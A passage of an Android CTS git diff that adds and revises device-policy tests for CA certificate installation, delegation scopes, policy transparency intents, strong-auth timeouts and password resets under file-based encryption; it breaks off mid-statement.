+        assertNull(store.getCertificateAlias(caCert));
         installCaCert(cert);
         assertResult("installCaCert", true);
         assertTrue("Certificate is not installed properly", mDpm.hasCaCertInstalled(
@@ -187,12 +200,21 @@
         verifyCaCert(cert);
         assertResult("getInstalledCaCerts()", true);
 
+        // Verify that the CA cert was marked as installed by the Device Owner / Profile Owner.
+        final String alias = store.getCertificateAlias(caCert);
+        assertNotNull(alias);
+        verifyOwnerInstalledStatus(alias, true);
+
         // Exercise uninstallCaCert()
         removeCaCert(cert);
         assertResult("uninstallCaCert()", true);
         assertFalse("Certificate is not removed properly", mDpm.hasCaCertInstalled(
                 ADMIN_RECEIVER_COMPONENT, cert));
 
+        // Verify that the CA cert is no longer reported as installed by the Device Owner / Profile
+        // Owner.
+        verifyOwnerInstalledStatus(alias, false);
+
         // Clear delegated cert installer.
         // Tests after this are expected to fail.
         mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
@@ -241,6 +263,11 @@
             MoreAsserts.assertContainsRegex("is not installed on the current user",
                         ex.getMessage());
         }
+        if (!shouldThrowException) {
+            assertTrue("Cert install delegate was not set on uninstalled package",
+                    NOT_EXIST_CERT_INSTALLER_PACKAGE.equals(
+                            mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)));
+        }
     }
 
     /**
@@ -283,6 +310,13 @@
         mContext.sendBroadcast(intent);
     }
 
+    private void verifyOwnerInstalledStatus(String alias, boolean expectOwnerInstalled) {
+        final List<String> ownerInstalledCerts =
+                mDpm.getOwnerInstalledCaCerts(Process.myUserHandle());
+        assertNotNull(ownerInstalledCerts);
+        assertEquals(expectOwnerInstalled, ownerInstalledCerts.contains(alias));
+    }
+
     private void assertResult(String testName, Boolean expectSuccess) throws InterruptedException {
         assertTrue("Cert installer did not respond in time.",
                 mAvailableResultSemaphore.tryAcquire(10, TimeUnit.SECONDS));
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
new file mode 100644
index 0000000..c9cf648
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that an app granted delegation scopes via {@link DevicePolicyManager#setDelegatedScopes} is
+ * notified of its new scopes by a broadcast.
+ */
+public class DelegationTest extends BaseDeviceAdminTest {
+
+    private static final String DELEGATE_PKG = "com.android.cts.delegate";
+    private static final String DELEGATE_ACTIVITY_NAME =
+            DELEGATE_PKG + ".DelegatedScopesReceiverActivity";
+    private static final String TEST_PKG = "com.android.cts.apprestrictions.targetapp";
+
+    // Broadcasts received from the delegate app.
+    private static final String ACTION_REPORT_SCOPES = "com.android.cts.delegate.report_scopes";
+    private static final String ACTION_RUNNING = "com.android.cts.delegate.running";
+
+    // Semaphores to synchronize communication with delegate app.
+    private volatile String[] mReceivedScopes;
+    private Semaphore mReceivedScopeReportSemaphore;
+    private Semaphore mReceivedRunningSemaphore;
+
+    // Receiver for incoming broadcasts from the delegate app.
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION_REPORT_SCOPES.equals(intent.getAction())) {
+                synchronized (DelegationTest.this) {
+                    mReceivedScopes = intent.getStringArrayExtra(EXTRA_DELEGATION_SCOPES);
+                    mReceivedScopeReportSemaphore.release();
+                }
+            } else if (ACTION_RUNNING.equals(intent.getAction())) {
+                synchronized (DelegationTest.this) {
+                    mReceivedRunningSemaphore.release();
+                }
+            }
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mReceivedScopeReportSemaphore = new Semaphore(0);
+        mReceivedRunningSemaphore = new Semaphore(0);
+        mReceivedScopes = null;
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_REPORT_SCOPES);
+        filter.addAction(ACTION_RUNNING);
+        mContext.registerReceiver(mReceiver, filter);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mReceiver);
+        super.tearDown();
+    }
+
+    public void testDelegateReceivesScopeChangedBroadcast() throws InterruptedException {
+        // Prepare the scopes to be delegated.
+        final List<String> scopes = Arrays.asList(
+                DELEGATION_CERT_INSTALL,
+                DELEGATION_APP_RESTRICTIONS,
+                DELEGATION_BLOCK_UNINSTALL,
+                DELEGATION_ENABLE_SYSTEM_APP);
+
+        // Start delegate so it can receive the scopes changed broadcast from DevicePolicyManager.
+        startAndWaitDelegateActivity();
+
+        // Set the delegated scopes.
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG, scopes);
+
+        // Wait until the delegate reports its new scopes.
+        String reportedScopes[] = waitReportedScopes();
+
+        // Check that the reported scopes correspond to scopes we delegated.
+        assertNotNull("Received null scopes from delegate", reportedScopes);
+        MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match broadcasted scopes",
+                scopes, reportedScopes);
+    }
+
+    public void testCantDelegateToUninstalledPackage() {
+        // Prepare the package name and scopes to be delegated.
+        final String NON_EXISTENT_PKG = "com.android.nonexistent.delegate";
+        final List<String> scopes = Arrays.asList(
+                DELEGATION_CERT_INSTALL,
+                DELEGATION_ENABLE_SYSTEM_APP);
+        try {
+            // Trying to delegate to non existent package should throw.
+            mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
+                    NON_EXISTENT_PKG, scopes);
+            fail("Should throw when delegating to non existent package");
+        } catch(IllegalArgumentException expected) {
+        }
+        // Assert no scopes were delegated.
+        assertTrue("Delegation scopes granted to non existent package", mDevicePolicyManager
+                .getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, NON_EXISTENT_PKG).isEmpty());
+    }
+
+    public void testCanRetrieveDelegates() {
+        final List<String> someScopes = Arrays.asList(
+                DELEGATION_APP_RESTRICTIONS,
+                DELEGATION_ENABLE_SYSTEM_APP);
+        final List<String> otherScopes = Arrays.asList(
+                DELEGATION_BLOCK_UNINSTALL,
+                DELEGATION_ENABLE_SYSTEM_APP);
+
+        // In the beginning there are no delegates.
+        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
+                .isEmpty());
+        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
+                .isEmpty());
+        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
+                .isEmpty());
+
+        // After delegating scopes to two packages.
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
+                DELEGATE_PKG, someScopes);
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
+                TEST_PKG, otherScopes);
+
+        // The expected delegates are returned.
+        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
+                .contains(DELEGATE_PKG));
+        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
+                .contains(TEST_PKG));
+        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
+                .contains(DELEGATE_PKG));
+        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
+                .contains(TEST_PKG));
+
+        // Packages are only returned in their recpective scopes.
+        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
+                .contains(TEST_PKG));
+        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
+                .contains(DELEGATE_PKG));
+        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
+                .contains(DELEGATE_PKG));
+        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
+                .contains(TEST_PKG));
+    }
+
+    private List<String> getDelegatePackages(String scope) {
+        return mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT, scope);
+    }
+
+    private void startAndWaitDelegateActivity() throws InterruptedException {
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName(DELEGATE_PKG, DELEGATE_ACTIVITY_NAME))
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
+        assertTrue("DelegateApp did not start in time.",
+                mReceivedRunningSemaphore.tryAcquire(10, TimeUnit.SECONDS));
+    }
+
+    private String[] waitReportedScopes() throws InterruptedException {
+        assertTrue("DelegateApp did not report scope in time.",
+                mReceivedScopeReportSemaphore.tryAcquire(10, TimeUnit.SECONDS));
+        return mReceivedScopes;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java
new file mode 100644
index 0000000..4ba4be5
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/FbeHelper.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.uiautomator.UiDevice;
+import android.view.KeyEvent;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class to lock and unlock file-based encryption (FBE) in CTS tests.
+ */
+public class FbeHelper extends BaseDeviceAdminTest {
+
+    private static final String NUMERIC_PASSWORD = "12345";
+
+    private UiDevice mUiDevice;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        assertTrue("Only numerical password is allowed", NUMERIC_PASSWORD.matches("\\d+"));
+
+        mUiDevice = UiDevice.getInstance(getInstrumentation());
+        assertNotNull(mUiDevice);
+    }
+
+    /**
+     * Set password to activate FBE.
+     * <p>
+     * <b>Note:</b> FBE is only locked after device reboot.
+     */
+    public void testSetPassword() {
+        assertTrue("Failed to set password " + NUMERIC_PASSWORD,
+                mDevicePolicyManager.resetPassword(NUMERIC_PASSWORD, 0));
+    }
+
+    /**
+     * Unlock FBE by entering the password in the Keyguard UI. This method blocks until an
+     * {@code ACTION_USER_UNLOCKED} intent is received within 1 minute. Otherwise the method fails.
+     */
+    public void testUnlockFbe() throws Exception {
+        // Register receiver for FBE unlocking broadcast intent
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
+
+        // Unlock FBE
+        enterPassword(NUMERIC_PASSWORD);
+
+        // Wait for FBE to fully unlock
+        assertTrue("Failed to dismiss keyguard", latch.await(1, TimeUnit.MINUTES));
+    }
+
+    private void enterPassword(String password) throws Exception {
+        mUiDevice.wakeUp();
+        mUiDevice.waitForIdle();
+        mUiDevice.pressMenu();
+        mUiDevice.waitForIdle();
+        pressNumericKeys(password);
+        mUiDevice.waitForIdle();
+        mUiDevice.pressEnter();
+        mUiDevice.waitForIdle();
+    }
+
+    private void pressNumericKeys(String numericKeys) {
+        for (char key : numericKeys.toCharArray()) {
+            if (key >= '0' && key <= '9') {
+                mUiDevice.pressKeyCode(KeyEvent.KEYCODE_0 + key - '0');
+            } else {
+                throw new IllegalArgumentException(key + " is not a numeric key.");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java
new file mode 100644
index 0000000..f8582ea
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.UserManager;
+import android.provider.Settings;
+import android.util.Log;
+
+/**
+ * Tests for {@link DevicePolicyManager#createAdminSupportIntent} API.
+ */
+public class PolicyTransparencyTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = "PolicyTransparencyTest";
+
+    public void testCameraDisabled() throws Exception {
+        mDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, true);
+
+        Intent intent = mDevicePolicyManager.createAdminSupportIntent(
+                DevicePolicyManager.POLICY_DISABLE_CAMERA);
+        assertNotNull(intent);
+        assertEquals(ADMIN_RECEIVER_COMPONENT,
+                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
+        assertEquals(DevicePolicyManager.POLICY_DISABLE_CAMERA,
+                intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
+
+        mDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, false);
+        intent = mDevicePolicyManager.createAdminSupportIntent(
+                DevicePolicyManager.POLICY_DISABLE_CAMERA);
+        assertNull(intent);
+    }
+
+    public void testScreenCaptureDisabled() throws Exception {
+        mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
+
+        Intent intent = mDevicePolicyManager.createAdminSupportIntent(
+                DevicePolicyManager.POLICY_DISABLE_SCREEN_CAPTURE);
+        assertNotNull(intent);
+        assertEquals(ADMIN_RECEIVER_COMPONENT,
+                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
+        assertEquals(DevicePolicyManager.POLICY_DISABLE_SCREEN_CAPTURE,
+                intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
+
+        mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
+        intent = mDevicePolicyManager.createAdminSupportIntent(
+                DevicePolicyManager.POLICY_DISABLE_SCREEN_CAPTURE);
+        assertNull(intent);
+    }
+
+    public void testUserRestrictions() throws Exception {
+        // Test with a few random user restrictions:
+        runTestForRestriction(UserManager.DISALLOW_ADJUST_VOLUME);
+        runTestForRestriction(UserManager.DISALLOW_CONFIG_WIFI);
+        runTestForRestriction(UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE);
+    }
+
+    private void runTestForRestriction(String restriction) throws Exception {
+        mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+
+        Intent intent = mDevicePolicyManager.createAdminSupportIntent(restriction);
+        assertNotNull(intent);
+        assertEquals(ADMIN_RECEIVER_COMPONENT,
+                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
+        assertEquals(restriction, intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
+
+        mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+        intent = mDevicePolicyManager.createAdminSupportIntent(restriction);
+        assertNull(intent);
+    }
+}
+
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RequiredStrongAuthTimeoutTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RequiredStrongAuthTimeoutTest.java
new file mode 100644
index 0000000..c236093
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RequiredStrongAuthTimeoutTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.content.ComponentName;
+
+import java.util.concurrent.TimeUnit;
+
+public class RequiredStrongAuthTimeoutTest extends BaseDeviceAdminTest {
+
+    private static final long DEFAULT_STRONG_AUTH_TIMEOUT_MS = TimeUnit.HOURS.toMillis(72);
+    private static final long MINIMUM_STRONG_AUTH_TIMEOUT_MS = TimeUnit.HOURS.toMillis(1);
+    private static final long ONE_MINUTE = TimeUnit.MINUTES.toMillis(1);
+    private static final long MIN_PLUS_ONE_MINUTE = MINIMUM_STRONG_AUTH_TIMEOUT_MS + ONE_MINUTE;
+    private static final long MAX_MINUS_ONE_MINUTE = DEFAULT_STRONG_AUTH_TIMEOUT_MS - ONE_MINUTE;
+
+    private static final ComponentName ADMIN = ADMIN_RECEIVER_COMPONENT;
+
+    public void testSetRequiredStrongAuthTimeout() throws Exception {
+        // aggregation should be the default if unset by any admin
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null),
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS);
+
+        // admin not participating by default
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN), 0);
+
+        //clamping from the top
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN,
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS + ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN),
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null),
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS);
+
+        // 0 means the admin is not participating, so default should be returned
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN, 0);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN), 0);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null),
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS);
+
+        // clamping from the bottom
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN,
+                MINIMUM_STRONG_AUTH_TIMEOUT_MS - ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN),
+                MINIMUM_STRONG_AUTH_TIMEOUT_MS);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null),
+                MINIMUM_STRONG_AUTH_TIMEOUT_MS);
+
+        // values within range
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN, MIN_PLUS_ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN), MIN_PLUS_ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null), MIN_PLUS_ONE_MINUTE);
+
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN, MAX_MINUS_ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN),
+                MAX_MINUS_ONE_MINUTE);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null), MAX_MINUS_ONE_MINUTE);
+
+        // reset to default
+        mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN, 0);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(ADMIN), 0);
+        assertEquals(mDevicePolicyManager.getRequiredStrongAuthTimeout(null),
+                DEFAULT_STRONG_AUTH_TIMEOUT_MS);
+
+        // negative value
+        try {
+            mDevicePolicyManager.setRequiredStrongAuthTimeout(ADMIN, -ONE_MINUTE);
+            fail("Didn't throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordHelper.java
deleted file mode 100644
index 1303172..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordHelper.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.Context;
-import android.test.AndroidTestCase;
-
-/**
- * This test is used to set and clear the lockscreen password. This is required to use the keystore
- * by the host side delegated cert installer test.
- */
-public class ResetPasswordHelper extends AndroidTestCase {
-
-    private DevicePolicyManager mDpm;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDpm = (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
-    }
-
-    /**
-     * Set lockscreen password.
-     */
-    public void testSetPassword() {
-        // Enable credential storage by setting a nonempty password.
-        assertTrue(mDpm.resetPassword("test", 0));
-    }
-
-    /**
-     * Clear lockscreen password.
-     */
-    public void testClearPassword() {
-        mDpm.setPasswordQuality(BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT,
-                DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
-        mDpm.setPasswordMinimumLength(
-                BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT, 0);
-        assertTrue(mDpm.resetPassword("", 0));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
index 635ff6d..31d3bf9 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
@@ -15,17 +15,76 @@
  */
 package com.android.cts.deviceandprofileowner;
 
-public class ResetPasswordTest extends BaseDeviceAdminTest {
-    public void testResetPassword() {
-        try {
-            // DO/PO can set a password.
-            mDevicePolicyManager.resetPassword("12345abcdef!!##1", 0);
+import android.util.Log;
 
-            // DO/PO can change the password, even if one is set already.
-            mDevicePolicyManager.resetPassword("12345abcdef!!##2", 0);
+import java.lang.IllegalStateException;
+
+/**
+ * Test cases for {@link android.app.admin.DevicePolicyManager#resetPassword(String, int)}.
+ *
+ * As of O, resetPassword is only accessible to DPCs targeting Sdk level before O, so this
+ * is exercised by CtsDeviceAndProfileOwnerApp25 only.
+ *
+ * <p>These tests verify that the device password:
+ * <ul>
+ *     <li>can be created, changed and cleared when FBE is not locked, and
+ *     <li>cannot be changed or cleared when FBE is locked.
+ * </ul>
+ */
+public class ResetPasswordTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = "ResetPasswordTest";
+
+    private static final String PASSWORD_1 = "12345";
+    private static final String PASSWORD_2 = "12345abcdef!!##1";
+
+    /**
+     * Test: a Device Owner or (un-managed) Profile Owner can create, change and remove a password.
+     */
+    public void testResetPassword() {
+        testResetPasswordEnabled(true, true);
+    }
+
+    /**
+     * Test: a managed Profile Owner can create and change, but not remove, a password.
+     */
+    public void testResetPasswordManagedProfile() {
+        testResetPasswordEnabled(true, false);
+    }
+
+    /**
+     * Test: a Device Owner or Profile Owner (managed or un-managed) cannot change or remove the
+     * password when FBE is locked.
+     */
+    public void testResetPasswordDisabled() throws Exception {
+        assertFalse("Failed to lock FBE", mUserManager.isUserUnlocked());
+        testResetPasswordEnabled(false, false);
+    }
+
+    private void testResetPasswordEnabled(boolean canChange, boolean canRemove) {
+        try {
+            assertResetPasswordEnabled(canChange, PASSWORD_1);
+            assertResetPasswordEnabled(canChange, PASSWORD_2);
         } finally {
-            // DO/PO can clear the password.
-            mDevicePolicyManager.resetPassword("", 0);
+            assertResetPasswordEnabled(canRemove, "");
+        }
+    }
+
+    private void assertResetPasswordEnabled(boolean enabled, String password) {
+        boolean passwordChanged;
+        try {
+            passwordChanged = mDevicePolicyManager.resetPassword(password, 0);
+        } catch (IllegalStateException | SecurityException e) {
+            passwordChanged = false;
+            if (enabled) {
+                Log.d(TAG, e.getMessage(), e);
+            }
+        }
+
+        if (enabled) {
+            assertTrue("Failed to change password", passwordChanged);
+        } else {
+            assertFalse("Failed to prevent password change", passwordChanged);
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
new file mode 100644
index 0000000..9e4744c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+
+public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
+
+    private static final String PASSWORD = "1234";
+
+    private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
+    private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
+
+    public void testResetPasswordWithToken() {
+        testResetPasswordWithToken(false);
+    }
+
+    public void testResetPasswordWithTokenMayFail() {
+        // If this test is executed on a device with password token disabled, allow the test to
+        // pass.
+        testResetPasswordWithToken(true);
+    }
+
+    private void testResetPasswordWithToken(boolean acceptFailure) {
+        try {
+            // set up a token
+            assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+
+            try {
+                // On devices with password token disabled, calling this method will throw
+                // a security exception. If that's anticipated, then return early without failing.
+                assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+                        TOKEN0));
+            } catch (SecurityException e) {
+                if (acceptFailure &&
+                        e.getMessage().equals("Escrow token is disabled on the current user")) {
+                    return;
+                } else {
+                    throw e;
+                }
+            }
+            assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+
+            // resetting password with wrong token should fail
+            assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
